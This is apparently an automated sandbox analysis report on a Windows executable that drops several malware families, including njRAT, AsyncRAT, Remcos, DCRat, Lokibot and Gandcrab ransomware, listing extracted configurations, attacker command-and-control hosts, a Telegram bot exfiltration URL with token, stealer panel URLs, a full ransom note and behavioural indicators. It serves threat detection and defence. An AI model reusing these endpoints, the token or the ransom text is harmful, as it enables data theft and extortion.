asyncrat | ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833

Analysis

max time kernel
15s
max time network
143s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08-09-2024 15:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

PCCooker2.0_x64.exe
Size

24.5MB
MD5

a5ca2d3b20cf191139a47d7261916d9e
SHA1

5d56e08cc55731f96db03911dba96dcdf22bcac8
SHA256

ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833
SHA512

e008b76d8040ef039424e6f7eec37b866fc7ab71d1cb11d839b4d4449758b3b8174249c353d1726ed736cb9c854cafda7648aee7a12c93d8a8e0cd0013a0c3ad
SSDEEP

49152:qnUSstktA/zuJuuS6FDlUhBKds9he3qUtM9l58uRgG+vTD7o9qa910rUo29xqcUt:ql

Malware Config

Extracted

Family

njrat

Version

<- NjRAT 0.7d Horror Edition ->

Botnet

Victim

great-it.gl.at.ply.gg:11149

Mutex

4d5861675348411506f0e029827092c2

Attributes

reg_key
4d5861675348411506f0e029827092c2
splitter
Y262SUCZ4UJJ

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7293375371:AAFwIvNWcuknS3y3mtsx4yNSSTkj8NCF_ko/sendMessage?chat_id=5795480469

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

njrat

Version

im523

Botnet

puked

147.185.221.20:47570

Mutex

20006afb0ec33f2e48c8c1f17d4d3382

Attributes

reg_key
20006afb0ec33f2e48c8c1f17d4d3382
splitter
|'|'|

Extracted

Family

njrat

Version

0.7d

Botnet

чучундра

hakim32.ddns.net:2000

safety-bronze.gl.at.ply.gg:4444

Mutex

27b92504703b09d3ee2dae0873e8e3f3

Attributes

reg_key
27b92504703b09d3ee2dae0873e8e3f3
splitter
|'|'|

Extracted

Family

remcos

Botnet

AUGUST CRYPTER TOOLZ GRACE STUB

teamfavour222.ddns.net :6767

odogwuvisual123.duckdns.org:6767

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
-YFLE4M
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Path

C:\Users\ULPIVBXNFD-DECRYPT.txt

Ransom Note

---= GANDCRAB V5.0.3 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE WILL BE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .ULPIVBXNFD The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/fb0512c8f9f3549a | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- wfKD6iudumBkmpL8IRr4U4exEVaoOXLtwDwmOrT1y1YWvOiWMx5GYaRdvZZdToRRs3YK7mpWq7fFTHWHhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbnhbWMkLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wLmpQodXZhP6M/UPrO1sZzkDbgjYlAG3g8l65nVd0/CBUxKQ7KDJYrtX0vSmnFXg/ykfgtJNiwqfCnqbr85+BitbEgkUjB5eKl/2Q2QusuGo1YZVrVBiTtqBHSEdAb8CcE4oG4b6a1Y8ZyGoyp2Q2iuJRzTRoqGlPQJIAJppFrwNIoDBPOnKw+A+5ZALufjGEwg7NrKg3qxA9Kxg7wZivpCxFJ3vzLM+ao1wAZLXRgRl+KCjmo1jngAX95mSffmizzQU1nmrIqlsew6HIMVY3pdDfwfAscdcBnP3FNhn9WQ3XC06ZCEvXtdUj8BYRMbJHwHowOP7+LRYsPy4knV/fu67PJzMP9LnZDh5szqewLRaRtAf+EbjLWu+IPXpBeLdQo9FRha1KO2vpgy2mFLQkzlAtXfjb5QmECiQ== ---END PC DATA---

URLs

http://gandcrabmfe6mnef.onion/fb0512c8f9f3549a

Extracted

Family

lokibot

http://45.133.1.20/oluwa/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

DcRat 64 IoCs

DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

rat infostealer dcrat

pid	Process
1072	schtasks.exe
3848	schtasks.exe
3748	schtasks.exe
3452	schtasks.exe
3316	schtasks.exe
3404	schtasks.exe
3592	schtasks.exe
1852	schtasks.exe
2368	schtasks.exe
904	schtasks.exe
3308	schtasks.exe
3184	schtasks.exe
288	schtasks.exe
2364	schtasks.exe
3784	schtasks.exe
3232	schtasks.exe
1812	schtasks.exe
3252	schtasks.exe
3708	schtasks.exe
1492	schtasks.exe
2524	schtasks.exe
3192	schtasks.exe
3480	schtasks.exe
4040	schtasks.exe
3512	schtasks.exe
2616	schtasks.exe
3120	schtasks.exe
2380	schtasks.exe
2572	schtasks.exe
3216	schtasks.exe
3912	schtasks.exe
3356	schtasks.exe
3968	schtasks.exe
1968	schtasks.exe
292	schtasks.exe
4092	schtasks.exe
2224	schtasks.exe
3712	schtasks.exe
3456	schtasks.exe
3200	schtasks.exe
3488	schtasks.exe
1628	schtasks.exe
1104	schtasks.exe
3520	schtasks.exe
1252	schtasks.exe
3416	schtasks.exe
2312	schtasks.exe
1872	schtasks.exe
3808	schtasks.exe
2276	schtasks.exe
3768	schtasks.exe
3576	schtasks.exe
620	schtasks.exe
3648	schtasks.exe
300	schtasks.exe
3888	schtasks.exe
3436	schtasks.exe
2676	schtasks.exe
2120	schtasks.exe
2808	schtasks.exe
3160	schtasks.exe
2296	schtasks.exe
3136	schtasks.exe
3972	schtasks.exe

Gandcrab
Gandcrab is a Trojan horse that encrypts files on a computer.
ransomware backdoor gandcrab
Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot

Process spawned unexpected child process 64 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2572	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2828	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	320	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2524	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1252	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2624	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	964	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1684	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1872	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2224	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	956	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2380	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3004	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	292	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2676	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2708	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2824	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2296	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	904	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3036	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2368	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1628	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	868	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2120	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2204	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2860	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1728	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	344	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1492	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2312	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1944	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	620	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1104	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3040	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2616	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1812	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2844	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2144	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1808	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2808	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2356	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3112	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3120	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3172	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3160	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3192	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3200	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3240	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3232	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3284	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3320	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3308	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3272	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3364	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3372	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3404	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3416	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3436	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3456	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3488	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3480	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3520	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3536	2188	schtasks.exe	62
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3548	2188	schtasks.exe	62

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000500000001a322-198.dat	family_stormkitty
behavioral1/memory/1552-236-0x00000000002E0000-0x0000000000312000-memory.dmp	family_stormkitty

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000500000001a322-198.dat	family_asyncrat

DCRat payload 5 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x000500000001a0b8-189.dat	dcrat
behavioral1/files/0x000500000001a445-237.dat	dcrat
behavioral1/memory/1236-259-0x00000000011E0000-0x00000000012B6000-memory.dmp	dcrat
behavioral1/memory/2704-258-0x0000000000D00000-0x0000000000DD6000-memory.dmp	dcrat
behavioral1/memory/3940-1339-0x0000000001270000-0x0000000001346000-memory.dmp	dcrat

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (318) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\DRIVERS\atmarph.sys	BTZ.exe
File created	C:\Windows\SysWOW64\DRIVERS\atmarpi.sys	938b92958ded4d50a357d22eddf141ad.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3908	netsh.exe
3856	netsh.exe
600	netsh.exe
628	netsh.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\ULPIVBXNFD-DECRYPT.txt	wermgr.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\f9f35377f9f3549570.lock	wermgr.exe

Executes dropped EXE 35 IoCs

pid	Process
636	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
1700	クラック.exe
1392	2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
1236	5e710462c65fe899466e4fb7c1e33c9a.exe
1552	7f1630df6b57af024a3b561bdadc208f.exe
1668	31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
2456	34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
2324	57ccb6f0bd910fed428761828ae93553.exe
1716	70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
2704	73c1c41b9e71c48e752a5cd19fe808b6.exe
2956	75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
2104	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
1740	938b92958ded4d50a357d22eddf141ad.exe
1480	172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
3044	a6a1abaf12a28ea8f6553356c3bdcf57.exe
2252	BTZ.exe
1792	Cat.exe
1576	Client.exe
2192	evil.exe
2720	Darkest Dungeon setub.exe
2560	fwclt.exe
2632	Gandcrab5.0.3.exe
2444	Happy18.exe
2700	kosomk.exe
1912	LightNeuronX0.exe
1748	malecus.exe
1516	see7.exe
1848	TEST.exe
2384	vbc.exe
2664	virus.jk.exe
3940	dllhost.exe
4036	dllhost.exe
3248	evil.exe
3312	server.exe
3288	fwclt.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WOWManager	BTZ.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WOWManager\ = "Service"	BTZ.exe

Loads dropped DLL 51 IoCs

pid	Process
3024	PCCooker2.0_x64.exe
636	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
3024	PCCooker2.0_x64.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
2252	BTZ.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
1700	クラック.exe
2192	evil.exe
1668	31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
1740	938b92958ded4d50a357d22eddf141ad.exe
1740	938b92958ded4d50a357d22eddf141ad.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 20 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0006000000018731-5.dat	upx
behavioral1/memory/636-11-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral1/memory/636-10-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral1/memory/636-37-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral1/files/0x000500000001a4c9-281.dat	upx
behavioral1/memory/1700-282-0x0000000005920000-0x00000000059AA000-memory.dmp	upx
behavioral1/memory/636-307-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral1/memory/636-320-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral1/memory/1480-543-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/636-852-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral1/memory/1480-1389-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/636-1582-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral1/memory/1480-1621-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/636-1713-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral1/memory/1480-1727-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/636-1769-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral1/memory/1480-1786-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/636-1860-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral1/memory/1480-1975-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/636-2317-0x0000000000400000-0x0000000000523000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x000600000001a4da-340.dat	vmprotect

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	wermgr.exe
File opened (read-only)	\??\L:	wermgr.exe
File opened (read-only)	\??\Q:	wermgr.exe
File opened (read-only)	\??\S:	wermgr.exe
File opened (read-only)	\??\V:	wermgr.exe
File opened (read-only)	\??\W:	wermgr.exe
File opened (read-only)	\??\Z:	wermgr.exe
File opened (read-only)	\??\B:	wermgr.exe
File opened (read-only)	\??\N:	wermgr.exe
File opened (read-only)	\??\O:	wermgr.exe
File opened (read-only)	\??\X:	wermgr.exe
File opened (read-only)	\??\K:	wermgr.exe
File opened (read-only)	\??\E:	wermgr.exe
File opened (read-only)	\??\I:	wermgr.exe
File opened (read-only)	\??\P:	wermgr.exe
File opened (read-only)	\??\R:	wermgr.exe
File opened (read-only)	\??\T:	wermgr.exe
File opened (read-only)	\??\A:	wermgr.exe
File opened (read-only)	\??\J:	wermgr.exe
File opened (read-only)	\??\M:	wermgr.exe
File opened (read-only)	\??\U:	wermgr.exe
File opened (read-only)	\??\Y:	wermgr.exe
File opened (read-only)	\??\H:	wermgr.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
83	discord.com
82	discord.com

Drops file in System32 directory 7 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Ska.exe	Happy18.exe
File opened for modification	C:\Windows\SysWOW64\Ska.exe	Happy18.exe
File created	C:\Windows\SysWOW64\Ska.dll	Happy18.exe
File created	C:\Windows\SysWOW64\wsock32.ska	Happy18.exe
File opened for modification	C:\Windows\SysWOW64\wsock32.dll	Happy18.exe
File opened for modification	C:\Windows\SysWOW64\winview.ocx	938b92958ded4d50a357d22eddf141ad.exe
File created	C:\Windows\SysWOW64\winview.ocx	938b92958ded4d50a357d22eddf141ad.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\DebugTest.html	wermgr.exe
File created	C:\Program Files (x86)\TEST.exe	クラック.exe
File created	C:\Program Files (x86)\touhou virus.bat	クラック.exe
File created	C:\Program Files (x86)\vbc.exe	クラック.exe
File created	C:\Program Files\7-Zip\dwm.exe	73c1c41b9e71c48e752a5cd19fe808b6.exe
File created	C:\Program Files (x86)\Common Files\SpeechEngines\Microsoft\TTS20\lsass.exe	57ccb6f0bd910fed428761828ae93553.exe
File created	C:\Program Files (x86)\fwclt.exe	クラック.exe
File created	C:\Program Files (x86)\Gandcrab5.0.3.exe	クラック.exe
File created	C:\Program Files (x86)\Happy18.exe	クラック.exe
File opened for modification	C:\Program Files\WaitResolve.mp2v	wermgr.exe
File created	C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe	クラック.exe
File opened for modification	C:\Program Files\CompareHide.xlsb	wermgr.exe
File opened for modification	C:\Program Files\StartExit.ex_	wermgr.exe
File created	C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\ULPIVBXNFD-DECRYPT.txt	wermgr.exe
File created	C:\Program Files\Windows Photo Viewer\ja-JP\dllhost.exe	5e710462c65fe899466e4fb7c1e33c9a.exe
File created	C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe	クラック.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Happy18.exe	5e710462c65fe899466e4fb7c1e33c9a.exe
File opened for modification	C:\Program Files\RestartJoin.bmp	wermgr.exe
File created	C:\Program Files (x86)\Darkest Dungeon setub.exe	クラック.exe
File created	C:\Program Files\DVD Maker\Shared\938b92958ded4d50a357d22eddf141ad.exe	a6a1abaf12a28ea8f6553356c3bdcf57.exe
File opened for modification	C:\Program Files\CheckpointEdit.crw	wermgr.exe
File opened for modification	C:\Program Files\TestUnpublish.xltx	wermgr.exe
